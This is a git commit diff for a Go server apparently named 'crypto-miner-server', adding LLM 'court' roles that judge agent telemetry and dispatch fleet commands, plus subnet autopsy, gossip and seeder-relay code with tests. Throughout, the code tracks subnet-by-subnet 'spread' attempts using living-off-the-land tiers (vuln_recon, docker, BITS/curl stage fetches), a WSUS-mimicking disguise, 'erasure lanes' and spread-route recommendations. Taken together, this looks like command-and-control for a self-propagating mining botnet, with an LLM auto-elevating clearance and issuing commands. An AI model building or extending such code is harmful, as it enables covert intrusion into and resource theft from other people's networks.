Add adversarial L4 court chamber with Seer court_debate feed.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Prosecutor and Public Defender use real fleet telemetry only; Judge dispatches L4 commands and emits full transcripts via seer_events and emberwake_court_debate when ai_control_enabled.
This commit is contained in:
142
server/internal/api/court_chamber_bridge.go
Normal file
142
server/internal/api/court_chamber_bridge.go
Normal file
@@ -0,0 +1,142 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
fleetai "crypto-miner-server/internal/ai"
|
||||
"crypto-miner-server/internal/atlas"
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/strategy"
|
||||
)
|
||||
|
||||
// HubCourtChamberAdapter supplies court tribunal data from hub + SQLite.
|
||||
type HubCourtChamberAdapter struct {
|
||||
Hub *WSHub
|
||||
DB *db.Database
|
||||
}
|
||||
|
||||
// NewHubCourtChamberAdapter wires hub evidence for adversarial court sessions.
|
||||
func NewHubCourtChamberAdapter(hub *WSHub, database *db.Database) *HubCourtChamberAdapter {
|
||||
return &HubCourtChamberAdapter{Hub: hub, DB: database}
|
||||
}
|
||||
|
||||
func (a *HubCourtChamberAdapter) FailureAtlasSummary(fingerprintKey, goos string) string {
|
||||
if a == nil {
|
||||
return ""
|
||||
}
|
||||
inner := &DatabaseCourtAdapter{DB: a.DB}
|
||||
return inner.FailureAtlasSummary(fingerprintKey, goos)
|
||||
}
|
||||
|
||||
func (a *HubCourtChamberAdapter) BestPhenotype(fingerprintKey, goos string) (*strategy.FleetPhenotype, bool) {
|
||||
if a == nil {
|
||||
return nil, false
|
||||
}
|
||||
inner := &DatabaseCourtAdapter{DB: a.DB}
|
||||
return inner.BestPhenotype(fingerprintKey, goos)
|
||||
}
|
||||
|
||||
func (a *HubCourtChamberAdapter) ChamberEvidence(agentID string, snap fleetai.AgentSnapshot) fleetai.CourtChamberEvidence {
|
||||
ev := fleetai.CourtChamberEvidence{
|
||||
AgentID: agentID,
|
||||
AgentName: snap.Name,
|
||||
Hashrate: snap.MiningHashrate,
|
||||
Stuck: snap.Stuck,
|
||||
ChainExhausted: snap.ChainExhausted,
|
||||
ClearanceLevel: snap.ClearanceLevel,
|
||||
JoinLane: snap.JoinLane,
|
||||
ActiveMethod: snap.ActiveMethod,
|
||||
FingerprintKey: snap.FingerprintKey,
|
||||
}
|
||||
if a == nil {
|
||||
return ev
|
||||
}
|
||||
goos := firstNonEmpty(snap.GOOS, snap.Platform)
|
||||
ev.AtlasSummary = a.FailureAtlasSummary(snap.FingerprintKey, goos)
|
||||
ev.SubnetImmune, ev.ErasureRecovery, ev.GossipWhispers = a.hubEvidence(agentID, snap)
|
||||
return ev
|
||||
}
|
||||
|
||||
func (a *HubCourtChamberAdapter) hubEvidence(agentID string, snap fleetai.AgentSnapshot) (subnetImmune, erasureRecovery, gossip string) {
|
||||
if a.Hub == nil {
|
||||
return "hub unavailable", fleetai.FormatErasureRecovery(false, false, false), "none"
|
||||
}
|
||||
prefix := a.Hub.agentSubnetFor(agentID)
|
||||
if prefix == "" && a.Hub.db != nil {
|
||||
if ag, err := a.Hub.db.GetAgent(agentID); err == nil && ag != nil {
|
||||
prefix = atlas.PrefixFromHostOrIP(ag.IP)
|
||||
}
|
||||
}
|
||||
failCount := 0
|
||||
var pausedUntil *time.Time
|
||||
if a.Hub.db != nil && prefix != "" {
|
||||
if row, err := a.Hub.db.GetSubnetSpreadPause(prefix); err == nil && row != nil {
|
||||
failCount = row.FailCount
|
||||
pausedUntil = row.PausedUntil
|
||||
}
|
||||
}
|
||||
subnetImmune = fleetai.FormatSubnetImmuneRow(prefix, failCount, pausedUntil)
|
||||
|
||||
policy := a.Hub.serverPolicySnapshot()
|
||||
stageAttempted, stageOK := stageFetchStatus(snap.LOTLAttempts)
|
||||
erasureRecovery = fleetai.FormatErasureRecovery(policy.ErasureLanesEnabled, stageAttempted, stageOK)
|
||||
|
||||
hints := a.Hub.gossipWhispersForSubnet(prefix)
|
||||
gossip = formatGossipForCourt(hints)
|
||||
return subnetImmune, erasureRecovery, gossip
|
||||
}
|
||||
|
||||
func stageFetchStatus(attempts []fleetai.TierAttempt) (attempted, ok bool) {
|
||||
for _, a := range attempts {
|
||||
if a.Tier == "stage_fetch" || a.Tier == "bits_curl" || a.Tier == "bits" || a.Tier == "curl" {
|
||||
attempted = true
|
||||
if a.OK {
|
||||
ok = true
|
||||
}
|
||||
}
|
||||
}
|
||||
return attempted, ok
|
||||
}
|
||||
|
||||
func formatGossipForCourt(hints []atlas.GossipHint) string {
|
||||
if len(hints) == 0 {
|
||||
return "none recorded on this /24"
|
||||
}
|
||||
parts := make([]string, 0, len(hints))
|
||||
for _, h := range hints {
|
||||
line := h.Tier + "|" + h.Condition
|
||||
if h.Reason != "" {
|
||||
line += " (" + h.Reason + ")"
|
||||
}
|
||||
parts = append(parts, line)
|
||||
}
|
||||
return strings.Join(parts, "; ")
|
||||
}
|
||||
|
||||
func firstNonEmpty(values ...string) string {
|
||||
for _, v := range values {
|
||||
if strings.TrimSpace(v) != "" {
|
||||
return strings.TrimSpace(v)
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// BroadcastEmberwakeCourtDebate optionally surfaces court transcripts on Emberwake dashboard WS.
|
||||
func (h *WSHub) BroadcastEmberwakeCourtDebate(agentID string, transcript fleetai.CourtDebateTranscript) {
|
||||
if h == nil {
|
||||
return
|
||||
}
|
||||
h.broadcastDashboard(Message{
|
||||
Type: "emberwake_court_debate",
|
||||
Payload: mustMarshal(map[string]interface{}{
|
||||
"agent_id": agentID,
|
||||
"agent_name": transcript.AgentName,
|
||||
"verdict": transcript.Verdict,
|
||||
"transcript": transcript.Transcript,
|
||||
"evidence": transcript.Evidence,
|
||||
"ts": transcript.Timestamp,
|
||||
}),
|
||||
})
|
||||
}
|
||||
175
server/internal/api/court_chamber_test.go
Normal file
175
server/internal/api/court_chamber_test.go
Normal file
@@ -0,0 +1,175 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"io"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"strings"
|
||||
"sync"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
fleetai "crypto-miner-server/internal/ai"
|
||||
"crypto-miner-server/internal/atlas"
|
||||
"crypto-miner-server/internal/clearance"
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
)
|
||||
|
||||
func TestHubCourtChamberEvidenceRealData(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer database.Close()
|
||||
|
||||
agentID := "chamber-evidence-agent"
|
||||
if err := database.UpsertAgent(&models.Agent{
|
||||
ID: agentID, Name: "Patient", IP: "192.168.50.10", Platform: "windows", Status: "online",
|
||||
ChainExhausted: true,
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
for i := 0; i < 3; i++ {
|
||||
_, _ = database.RecordSubnetSpreadFailure("192.168.50")
|
||||
}
|
||||
|
||||
hub := NewWSHub(database)
|
||||
hub.SetServerPolicy(ServerPolicy{ErasureLanesEnabled: true, AIControlEnabled: true})
|
||||
hub.mu.Lock()
|
||||
hub.subnetGossipWhispers = map[string][]atlas.GossipHint{
|
||||
"192.168.50": {{Tier: "docker", Condition: "no_docker", Reason: "lan gossip"}},
|
||||
}
|
||||
hub.mu.Unlock()
|
||||
|
||||
adapter := NewHubCourtChamberAdapter(hub, database)
|
||||
snap := fleetai.AgentSnapshot{
|
||||
AgentID: agentID, Name: "Patient", GOOS: "windows",
|
||||
MiningHashrate: 0, Stuck: true, ChainExhausted: true,
|
||||
LOTLAttempts: []fleetai.TierAttempt{{Tier: "docker", OK: false, Error: "denied"}},
|
||||
}
|
||||
ev := adapter.ChamberEvidence(agentID, snap)
|
||||
if !strings.Contains(ev.SubnetImmune, "192.168.50") || !strings.Contains(ev.SubnetImmune, "fail_count=3") {
|
||||
t.Fatalf("subnet immune=%q", ev.SubnetImmune)
|
||||
}
|
||||
if !strings.Contains(ev.ErasureRecovery, "lanes_enabled=true") {
|
||||
t.Fatalf("erasure=%q", ev.ErasureRecovery)
|
||||
}
|
||||
if !strings.Contains(ev.GossipWhispers, "docker|no_docker") {
|
||||
t.Fatalf("gossip=%q", ev.GossipWhispers)
|
||||
}
|
||||
}
|
||||
|
||||
func TestIntegrationCourtChamberEmitsSeerDebate(t *testing.T) {
|
||||
var llmBody string
|
||||
var llmMu sync.Mutex
|
||||
llmSrv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodPost || !strings.HasSuffix(r.URL.Path, "/chat/completions") {
|
||||
http.NotFound(w, r)
|
||||
return
|
||||
}
|
||||
raw, _ := io.ReadAll(r.Body)
|
||||
llmMu.Lock()
|
||||
llmBody = string(raw)
|
||||
llmMu.Unlock()
|
||||
_ = json.NewEncoder(w).Encode(map[string]interface{}{
|
||||
"choices": []map[string]interface{}{
|
||||
{"message": map[string]string{
|
||||
"content": "Verdict: restart mining after adversarial chamber.\n" +
|
||||
`{"commands":[{"type":"restart_mining","args":{}}]}`,
|
||||
}},
|
||||
},
|
||||
})
|
||||
}))
|
||||
t.Cleanup(llmSrv.Close)
|
||||
|
||||
aiCfg := FleetAIConfigView{
|
||||
AIControlEnabled: true, AIEndpoint: llmSrv.URL + "/v1",
|
||||
AIModel: "test-model", AIDecisionIntervalSec: 1, AIAutoElevateClearance: true,
|
||||
}
|
||||
hub, database, _ := newFleetIntelligenceHub(t, aiCfg)
|
||||
hub.SetServerPolicy(ServerPolicy{ErasureLanesEnabled: true, AIControlEnabled: true})
|
||||
courtChamber := NewHubCourtChamberAdapter(hub, database)
|
||||
seerEmitter := &HubSeerEmitter{Hub: hub, DB: database}
|
||||
|
||||
sched := fleetai.NewScheduler(
|
||||
&ConfigAIAdapter{Src: &mutableFleetAIConfig{view: aiCfg}},
|
||||
&WSHubSnapshotAdapter{Hub: hub},
|
||||
&ClearanceGuardExecutor{Inner: &FleetAIExecutor{Hub: hub}, Clearance: hub.ClearanceManager()},
|
||||
&DatabaseAIDecisionStore{DB: database},
|
||||
courtChamber,
|
||||
hub.ClearanceManager(),
|
||||
)
|
||||
sched.SetCourtDeps(fleetai.CourtDeps{Chamber: courtChamber, Seer: seerEmitter})
|
||||
|
||||
old := fleetai.DecideFunc
|
||||
fleetai.DecideFunc = func(ctx context.Context, endpoint, model, systemPrompt, userPrompt string) (string, error) {
|
||||
return fleetai.Decide(ctx, endpoint, model, systemPrompt, userPrompt)
|
||||
}
|
||||
t.Cleanup(func() { fleetai.DecideFunc = old })
|
||||
|
||||
agentID := "court-chamber-agent"
|
||||
conn := connectIntelAgent(t, hub, agentID, map[string]interface{}{
|
||||
"agent_id": agentID, "hostname": "chamber-host", "platform": "windows", "version": "1.0",
|
||||
})
|
||||
pushStuckAgentTelemetry(t, conn)
|
||||
seedStuckAgentDB(t, database, agentID)
|
||||
waitForAgentTelemetry(t, hub, agentID, "stuck", "lotl_attempts")
|
||||
|
||||
dashConn := connectTestDashboard(t, hub)
|
||||
seerCh := make(chan map[string]interface{}, 1)
|
||||
go func() {
|
||||
for {
|
||||
var msg Message
|
||||
if err := dashConn.ReadJSON(&msg); err != nil {
|
||||
return
|
||||
}
|
||||
if msg.Type != "seer_events" {
|
||||
continue
|
||||
}
|
||||
var body map[string]interface{}
|
||||
if json.Unmarshal(msg.Payload, &body) != nil {
|
||||
continue
|
||||
}
|
||||
if body["event_type"] != "court_debate" {
|
||||
continue
|
||||
}
|
||||
seerCh <- body
|
||||
return
|
||||
}
|
||||
}()
|
||||
|
||||
sched.ResetLastRunForTest(agentID, 2*time.Minute)
|
||||
sched.Tick()
|
||||
|
||||
llmMu.Lock()
|
||||
body := llmBody
|
||||
llmMu.Unlock()
|
||||
if !strings.Contains(body, "PUBLIC DEFENDER") {
|
||||
t.Fatalf("expected adversarial chamber judge prompt, got: %s", body)
|
||||
}
|
||||
|
||||
select {
|
||||
case ev := <-seerCh:
|
||||
payload, ok := ev["payload"].(map[string]interface{})
|
||||
if !ok {
|
||||
// payload may be json.RawMessage nested
|
||||
if raw, ok2 := ev["payload"]; ok2 {
|
||||
b, _ := json.Marshal(raw)
|
||||
_ = json.Unmarshal(b, &payload)
|
||||
}
|
||||
}
|
||||
if ev["event_type"] != "court_debate" {
|
||||
t.Fatalf("event_type=%v", ev["event_type"])
|
||||
}
|
||||
case <-time.After(5 * time.Second):
|
||||
events, _ := database.ListSeerEvents(5)
|
||||
t.Fatalf("timed out waiting for court_debate seer_events; db events=%+v", events)
|
||||
}
|
||||
|
||||
if level := hub.ClearanceManager().Level(agentID); level < clearance.L1 {
|
||||
t.Fatalf("unexpected clearance %d", level)
|
||||
}
|
||||
}
|
||||
@@ -516,15 +516,6 @@ func TestIntegrationSurgicalReplayFlow(t *testing.T) {
|
||||
if err := database.UpsertAgent(&models.Agent{
|
||||
ID: agentID, Name: "surgical-host", Platform: "windows", Status: "online",
|
||||
SpreadStrain: "#112233",
|
||||
LOTLAttempts: []struct {
|
||||
Tier string `json:"tier"`
|
||||
OK bool `json:"ok"`
|
||||
Error string `json:"error,omitempty"`
|
||||
DurationMs int64 `json:"duration_ms"`
|
||||
}{
|
||||
{Tier: "vuln_recon", OK: true},
|
||||
{Tier: "docker", OK: false, Error: "daemon missing"},
|
||||
},
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
107
server/internal/api/fleet_torrent_test.go
Normal file
107
server/internal/api/fleet_torrent_test.go
Normal file
@@ -0,0 +1,107 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/atlas"
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
|
||||
"github.com/gorilla/websocket"
|
||||
)
|
||||
|
||||
func TestFleetTorrentGossipRelayCrossSubnet(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
hub := NewWSHub(database)
|
||||
hub.SetServerPolicy(ServerPolicy{FleetTorrentEnabled: true})
|
||||
_ = database.UpsertAgent(&models.Agent{ID: "ft-a", Name: "a", IP: "10.1.1.10", Status: "online"})
|
||||
_ = database.UpsertAgent(&models.Agent{ID: "ft-b", Name: "b", IP: "10.2.2.20", Status: "online"})
|
||||
|
||||
connA := connectTestAgentWithIP(t, hub, "ft-a", "10.1.1.10")
|
||||
connB := connectTestAgentWithIP(t, hub, "ft-b", "10.2.2.20")
|
||||
|
||||
recvCh := make(chan Message, 2)
|
||||
go readUntilType(connB, "fleet_torrent_gossip", recvCh)
|
||||
|
||||
payload, _ := json.Marshal(map[string]interface{}{
|
||||
"records": []atlas.FleetGossipRecord{{
|
||||
Kind: atlas.FleetGossipHaveShard, AgentID: "ft-a", Token: "tok",
|
||||
ShardIndex: 0, ShardHash: "abc", Subnet: "10.1.1",
|
||||
}},
|
||||
})
|
||||
if err := connA.WriteJSON(Message{Type: "fleet_torrent_gossip", Payload: payload}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
select {
|
||||
case msg := <-recvCh:
|
||||
var body map[string]interface{}
|
||||
if err := json.Unmarshal(msg.Payload, &body); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
recs, _ := body["records"].([]interface{})
|
||||
if len(recs) != 1 {
|
||||
t.Fatalf("records=%v", body["records"])
|
||||
}
|
||||
case <-time.After(2 * time.Second):
|
||||
t.Fatal("cross-subnet peer did not receive fleet_torrent_gossip")
|
||||
}
|
||||
_ = websocket.CloseNormalClosure
|
||||
}
|
||||
|
||||
func TestAuthSubnetPrimarySeederHint(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
hub := NewWSHub(database)
|
||||
hub.SetServerPolicy(ServerPolicy{FleetRolesEnabled: true, FleetTorrentEnabled: true})
|
||||
|
||||
conn, _ := dialAgentWS(t, hub)
|
||||
resp := authAgentConn(t, conn, map[string]interface{}{
|
||||
"agent_id": "seed-primary-aa",
|
||||
"hostname": "host",
|
||||
"platform": "windows",
|
||||
"version": "test",
|
||||
"fleet_role": "seeder",
|
||||
"seeder_mode": true,
|
||||
})
|
||||
var body map[string]interface{}
|
||||
if err := json.Unmarshal(resp.Payload, &body); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if _, ok := body["subnet_primary_seeder"].(string); !ok {
|
||||
t.Fatalf("subnet_primary_seeder missing: %#v", body)
|
||||
}
|
||||
if body["fleet_torrent_enabled"] != true {
|
||||
t.Fatalf("fleet_torrent_enabled=%#v", body["fleet_torrent_enabled"])
|
||||
}
|
||||
}
|
||||
|
||||
func TestSubnetPrimarySeederElection(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
hub := NewWSHub(database)
|
||||
hub.storeAgentFleetRole("aaa-seeder", "seeder")
|
||||
hub.storeAgentFleetRole("bbb-seeder", "seeder")
|
||||
hub.mu.Lock()
|
||||
hub.agentLiveTelemetry["aaa-seeder"] = map[string]interface{}{"fleet_role": "seeder"}
|
||||
hub.agentLiveTelemetry["bbb-seeder"] = map[string]interface{}{"fleet_role": "seeder"}
|
||||
hub.mu.Unlock()
|
||||
_ = database.UpsertAgent(&models.Agent{ID: "aaa-seeder", IP: "10.5.5.1"})
|
||||
_ = database.UpsertAgent(&models.Agent{ID: "bbb-seeder", IP: "10.5.5.2"})
|
||||
pick := hub.electSubnetPrimarySeeder("10.5.5")
|
||||
if pick != "aaa-seeder" {
|
||||
t.Fatalf("pick=%q", pick)
|
||||
}
|
||||
}
|
||||
304
server/internal/api/subnet_autopsy.go
Normal file
304
server/internal/api/subnet_autopsy.go
Normal file
@@ -0,0 +1,304 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"log"
|
||||
"net/http"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/ai"
|
||||
"crypto-miner-server/internal/atlas"
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
"crypto-miner-server/internal/strategy"
|
||||
)
|
||||
|
||||
// SubnetAutopsyHandler serves immune autopsy packets for paused /24 prefixes.
|
||||
type SubnetAutopsyHandler struct {
|
||||
hub *WSHub
|
||||
pathTracer *PathTracerHandler
|
||||
}
|
||||
|
||||
func NewSubnetAutopsyHandler(hub *WSHub, pathTracer *PathTracerHandler) *SubnetAutopsyHandler {
|
||||
return &SubnetAutopsyHandler{hub: hub, pathTracer: pathTracer}
|
||||
}
|
||||
|
||||
// GET /api/v1/atlas/subnet-autopsy?subnet=
|
||||
func (h *SubnetAutopsyHandler) Get(w http.ResponseWriter, r *http.Request) {
|
||||
if h == nil || h.hub == nil {
|
||||
http.Error(w, "subnet autopsy unavailable", http.StatusServiceUnavailable)
|
||||
return
|
||||
}
|
||||
prefix := atlas.PrefixFromHostOrIP(r.URL.Query().Get("subnet"))
|
||||
if prefix == "" {
|
||||
http.Error(w, "subnet query required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
pkt, ok := h.hub.SubnetAutopsy(prefix)
|
||||
if !ok {
|
||||
pkt = h.hub.BuildSubnetAutopsy(prefix, h.pathTracer)
|
||||
}
|
||||
writeJSON(w, pkt)
|
||||
}
|
||||
|
||||
// TriggerSubnetAutopsy builds, caches, and broadcasts an autopsy when immune pause activates.
|
||||
func (h *WSHub) TriggerSubnetAutopsy(prefix string, pathTracer *PathTracerHandler) {
|
||||
pkt := h.BuildSubnetAutopsy(prefix, pathTracer)
|
||||
h.storeSubnetAutopsy(pkt)
|
||||
h.BroadcastSeerEvent(map[string]interface{}{
|
||||
"type": "subnet_immune_autopsy",
|
||||
"prefix": pkt.Prefix,
|
||||
"triggered": pkt.TriggeredAt,
|
||||
"cause": pkt.CauseOfDeath,
|
||||
"vaccination": pkt.VaccinationLane,
|
||||
"packet": pkt,
|
||||
})
|
||||
log.Printf("[subnet-autopsy] immune pause autopsy for %s (%d failures)", pkt.Prefix, pkt.FailCount)
|
||||
}
|
||||
|
||||
func (h *WSHub) storeSubnetAutopsy(pkt atlas.SubnetAutopsyPacket) {
|
||||
if h == nil {
|
||||
return
|
||||
}
|
||||
h.mu.Lock()
|
||||
if h.subnetAutopsies == nil {
|
||||
h.subnetAutopsies = make(map[string]atlas.SubnetAutopsyPacket)
|
||||
}
|
||||
h.subnetAutopsies[pkt.Prefix] = pkt
|
||||
h.mu.Unlock()
|
||||
}
|
||||
|
||||
// SubnetAutopsy returns a cached autopsy packet for prefix.
|
||||
func (h *WSHub) SubnetAutopsy(prefix string) (atlas.SubnetAutopsyPacket, bool) {
|
||||
if h == nil {
|
||||
return atlas.SubnetAutopsyPacket{}, false
|
||||
}
|
||||
prefix = atlas.PrefixFromHostOrIP(prefix)
|
||||
h.mu.RLock()
|
||||
pkt, ok := h.subnetAutopsies[prefix]
|
||||
h.mu.RUnlock()
|
||||
return pkt, ok
|
||||
}
|
||||
|
||||
// BuildSubnetAutopsy assembles an immune autopsy from fleet state.
|
||||
func (h *WSHub) BuildSubnetAutopsy(prefix string, pathTracer *PathTracerHandler) atlas.SubnetAutopsyPacket {
|
||||
prefix = atlas.PrefixFromHostOrIP(prefix)
|
||||
now := time.Now().UTC()
|
||||
pkt := atlas.SubnetAutopsyPacket{
|
||||
Prefix: prefix,
|
||||
TriggeredAt: now,
|
||||
Persona: ai.NormalizePersona(h.serverPolicySnapshot().AIPersona),
|
||||
WSUSMimic: atlas.WSUSMimicSnapshot{
|
||||
FormatMimicEnabled: true,
|
||||
CachePeerLane: "wsus_cache_peer",
|
||||
},
|
||||
}
|
||||
policy := h.serverPolicySnapshot()
|
||||
pkt.ErasureFallback = atlas.ErasureFallbackSnapshot{
|
||||
ErasureLanesEnabled: policy.ErasureLanesEnabled,
|
||||
AvailableAsFallback: policy.ErasureLanesEnabled,
|
||||
}
|
||||
|
||||
if h.db != nil {
|
||||
if row, err := h.db.GetSubnetSpreadPause(prefix); err == nil && row != nil {
|
||||
pkt.FailCount = row.FailCount
|
||||
pkt.PausedUntil = row.PausedUntil
|
||||
}
|
||||
}
|
||||
|
||||
agents := h.agentsOnSubnet(prefix)
|
||||
pkt.LOTLAttempts = atlas.TrimLOTLAttempts(collectSubnetLOTLAttempts(h, agents), atlas.SubnetAutopsyLOTLAttemptLimit)
|
||||
pkt.GossipWhispers = atlas.TrimGossipWhispers(h.gossipWhispersForSubnet(prefix), atlas.SubnetAutopsyGossipWhisperLimit)
|
||||
pkt.FailureAtlas = h.failureAtlasSummaryForSubnet(agents)
|
||||
|
||||
if joinLane := recentJoinLane(h, agents); joinLane != "" {
|
||||
pkt.WSUSMimic.RecentJoinLane = joinLane
|
||||
if joinLane == "wsus_cache_peer" {
|
||||
pkt.WSUSMimic.FormatMimicEnabled = true
|
||||
}
|
||||
}
|
||||
|
||||
if pathTracer != nil {
|
||||
if hint := pathTracer.RecommendSpreadRoute(prefix, pkt.WSUSMimic.RecentJoinLane, ""); hint != nil {
|
||||
pkt.VaccinationLane = hint
|
||||
}
|
||||
}
|
||||
|
||||
pkt.CauseOfDeath = atlas.BuildCauseOfDeath(pkt)
|
||||
return pkt
|
||||
}
|
||||
|
||||
func (h *WSHub) agentsOnSubnet(prefix string) []*models.Agent {
|
||||
if h == nil || h.db == nil || prefix == "" {
|
||||
return nil
|
||||
}
|
||||
subnetLabel := prefix + ".x"
|
||||
agents, err := h.db.ListAgentsFiltered(db.AgentListFilter{Subnet: subnetLabel, Limit: 64})
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
return agents
|
||||
}
|
||||
|
||||
func collectSubnetLOTLAttempts(hub *WSHub, agents []*models.Agent) []atlas.LOTLAttemptSnapshot {
|
||||
var out []atlas.LOTLAttemptSnapshot
|
||||
for _, ag := range agents {
|
||||
if ag == nil {
|
||||
continue
|
||||
}
|
||||
attempts := lotlAttemptsForAgent(hub, ag)
|
||||
for _, a := range attempts {
|
||||
a.AgentID = ag.ID
|
||||
a.AgentName = ag.Name
|
||||
out = append(out, a)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func lotlAttemptsForAgent(hub *WSHub, ag *models.Agent) []atlas.LOTLAttemptSnapshot {
|
||||
if hub != nil {
|
||||
hub.mu.RLock()
|
||||
if tel, ok := hub.agentLiveTelemetry[ag.ID]; ok {
|
||||
hub.mu.RUnlock()
|
||||
if parsed := parseLOTLAttemptsFromTelemetry(tel); len(parsed) > 0 {
|
||||
return parsed
|
||||
}
|
||||
} else {
|
||||
hub.mu.RUnlock()
|
||||
}
|
||||
}
|
||||
return parseLOTLAttemptsFromAgent(ag)
|
||||
}
|
||||
|
||||
func parseLOTLAttemptsFromTelemetry(tel map[string]interface{}) []atlas.LOTLAttemptSnapshot {
|
||||
raw, ok := tel["lotl_attempts"]
|
||||
if !ok {
|
||||
return nil
|
||||
}
|
||||
b, err := json.Marshal(raw)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
var attempts []atlas.LOTLAttemptSnapshot
|
||||
if json.Unmarshal(b, &attempts) != nil {
|
||||
return nil
|
||||
}
|
||||
return attempts
|
||||
}
|
||||
|
||||
func parseLOTLAttemptsFromAgent(ag *models.Agent) []atlas.LOTLAttemptSnapshot {
|
||||
if ag == nil || len(ag.LOTLAttempts) == 0 {
|
||||
return nil
|
||||
}
|
||||
out := make([]atlas.LOTLAttemptSnapshot, 0, len(ag.LOTLAttempts))
|
||||
for _, a := range ag.LOTLAttempts {
|
||||
out = append(out, atlas.LOTLAttemptSnapshot{
|
||||
Tier: a.Tier,
|
||||
OK: a.OK,
|
||||
Error: a.Error,
|
||||
DurationMs: a.DurationMs,
|
||||
})
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func recentJoinLane(hub *WSHub, agents []*models.Agent) string {
|
||||
for _, ag := range agents {
|
||||
if ag == nil {
|
||||
continue
|
||||
}
|
||||
if hub != nil {
|
||||
hub.mu.RLock()
|
||||
if tel, ok := hub.agentLiveTelemetry[ag.ID]; ok {
|
||||
if lane, ok := tel["join_lane"].(string); ok && strings.TrimSpace(lane) != "" {
|
||||
hub.mu.RUnlock()
|
||||
return strings.TrimSpace(lane)
|
||||
}
|
||||
}
|
||||
hub.mu.RUnlock()
|
||||
}
|
||||
if strings.TrimSpace(ag.JoinLane) != "" {
|
||||
return strings.TrimSpace(ag.JoinLane)
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (h *WSHub) failureAtlasSummaryForSubnet(agents []*models.Agent) string {
|
||||
if h == nil || h.db == nil || len(agents) == 0 {
|
||||
return ""
|
||||
}
|
||||
for _, ag := range agents {
|
||||
if ag == nil {
|
||||
continue
|
||||
}
|
||||
domainJoined := ag.FirewallDomain != nil && *ag.FirewallDomain
|
||||
fp := strategy.FingerprintFromAuth(ag.Platform, ag.IP, domainJoined)
|
||||
summary, err := h.db.FailureAtlasSummary(fp.Key(), fp.GOOS)
|
||||
if err == nil && summary != "" && summary != "no fleet failure atlas samples for this fingerprint" {
|
||||
return summary
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func normalizeGossipSubnetKey(prefix string) string {
|
||||
prefix = strings.TrimSpace(prefix)
|
||||
if prefix == "" {
|
||||
return ""
|
||||
}
|
||||
if norm := atlas.PrefixFromHostOrIP(prefix); norm != "" {
|
||||
return norm
|
||||
}
|
||||
prefix = strings.TrimSuffix(prefix, ".0/24")
|
||||
prefix = strings.TrimSuffix(prefix, "/24")
|
||||
return strings.TrimSpace(prefix)
|
||||
}
|
||||
|
||||
func (h *WSHub) recordGossipWhisper(prefix string, hints []atlas.GossipHint) {
|
||||
prefix = normalizeGossipSubnetKey(prefix)
|
||||
if prefix == "" || len(hints) == 0 {
|
||||
return
|
||||
}
|
||||
h.mu.Lock()
|
||||
if h.subnetGossipWhispers == nil {
|
||||
h.subnetGossipWhispers = make(map[string][]atlas.GossipHint)
|
||||
}
|
||||
merged := atlas.MergeGossipSkips(toAtlasSkips(h.subnetGossipWhispers[prefix]), hints)
|
||||
out := make([]atlas.GossipHint, 0, len(merged))
|
||||
for _, s := range merged {
|
||||
out = append(out, atlas.GossipHint{Tier: s.Tier, Condition: s.Condition, Reason: s.Reason})
|
||||
}
|
||||
h.subnetGossipWhispers[prefix] = out
|
||||
h.mu.Unlock()
|
||||
}
|
||||
|
||||
func (h *WSHub) gossipWhispersForSubnet(prefix string) []atlas.GossipHint {
|
||||
prefix = normalizeGossipSubnetKey(prefix)
|
||||
if h == nil || prefix == "" {
|
||||
return nil
|
||||
}
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
if h.subnetGossipWhispers == nil {
|
||||
return nil
|
||||
}
|
||||
return append([]atlas.GossipHint(nil), h.subnetGossipWhispers[prefix]...)
|
||||
}
|
||||
|
||||
func toAtlasSkips(hints []atlas.GossipHint) []atlas.AtlasSkip {
|
||||
skips := atlas.SkipsFromHints(hints)
|
||||
out := make([]atlas.AtlasSkip, len(skips))
|
||||
copy(out, skips)
|
||||
return out
|
||||
}
|
